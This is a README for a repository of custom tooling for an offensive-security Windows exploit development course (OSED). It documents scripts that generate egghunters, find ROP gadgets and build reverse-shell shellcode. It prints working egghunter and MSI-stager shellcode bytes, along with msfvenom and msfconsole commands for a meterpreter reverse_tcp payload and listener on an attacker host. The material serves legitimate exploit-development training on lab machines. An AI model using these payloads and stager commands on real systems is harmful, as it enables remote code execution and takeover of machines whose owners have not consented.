osed-scripts

bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Table of Contents

• Standalone Scripts
  • egghunter.py
  • find-gadgets.py
  • shellcoder.py
  • install-mona.sh
• WinDbg Scripts
  • find-ppr.py

Standalone Scripts

egghunter.py

requires keystone-engine

usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]

Creates an egghunter compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -t TAG, --tag TAG     tag for which the egghunter will search (default: c0d3)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -s, --seh             create an seh based egghunter instead of NtAccessCheckAndAuditAlarm

generate default egghunter

./egghunter.py 
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: c0d3c0d3
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate egghunter with w00tw00t tag

./egghunter.py --tag w00t
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: w00tw00t
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)

./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=]   len: 69 bytes
[=]   tag: c0d3c0d3
[=]   ver: SEH

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

find-gadgets.py

Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.

requires rich and ropper

usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]

Searches for clean, categorized gadgets from a given list of files

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to omit from gadgets (default: 00)
  -o OUTPUT, --output OUTPUT
                        name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)

find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x00 and 0xde from all gadgets

shellcoder.py

requires keystone-engine

Creates reverse shell with optional msi loader

usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]

Creates shellcodes compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST
                        listening attacker system (default: 127.0.0.1)
  -p LPORT, --lport LPORT
                        listening port of the attacker system (default: 4444)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -m, --msi             use an msf msi exploit stager (short)
  -d, --debug-break     add a software breakpoint as the first shellcode instruction
  -t, --test-shellcode  test the shellcode on the system
  -s, --store-shellcode
                        store the shellcode in binary format in the file shellcode.bin

❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created! 
[=]   len:   251 bytes                                                                                            
[=]   lhost: 192.168.49.88
[=]   lport: 4444                                                                                                                                                                                                                    
[=]   break: breakpoint disabled                                                                                                                                                                                                     
[=]   ver:   MSI stager
[=]   Shellcode stored in: shellcode.bin
[=]   help:
         Create msi payload:
                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
         Start http server (hosting the msi file):
                 sudo python -m SimpleHTTPServer 4444 
         Start the metasploit listener:
                 sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
         Remove bad chars with msfvenom (use --store-shellcode flag): 
                 cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode

shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"           
****

install-mona.sh

downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation.

❯ ./install-mona.sh 192.168.XX.YY
[+] once the RDP window opens, execute the following command in an Administrator terminal:

powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -"

[=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip
[=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py
[=] downloading https://github.com/corelan/mona/raw/master/mona.py
[=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi
[=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe
[=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

WinDbg Scripts

all windbg scripts require pykd

run .load pykd then !py c:\path\to\this\repo\script.py

find-ppr.py

Search for pop r32; pop r32; ret instructions by module name

!py find-ppr.py libspp diskpls

[+] diskpls::0x004313ad: pop ecx; pop ecx; ret
[+] diskpls::0x004313e3: pop ecx; pop ecx; ret
[+] diskpls::0x00417af6: pop ebx; pop ecx; ret
...
[+] libspp::0x1008a538: pop ebx; pop ecx; ret
[+] libspp::0x1008ae39: pop ebx; pop ecx; ret
[+] libspp::0x1008aebf: pop ebx; pop ecx; ret
...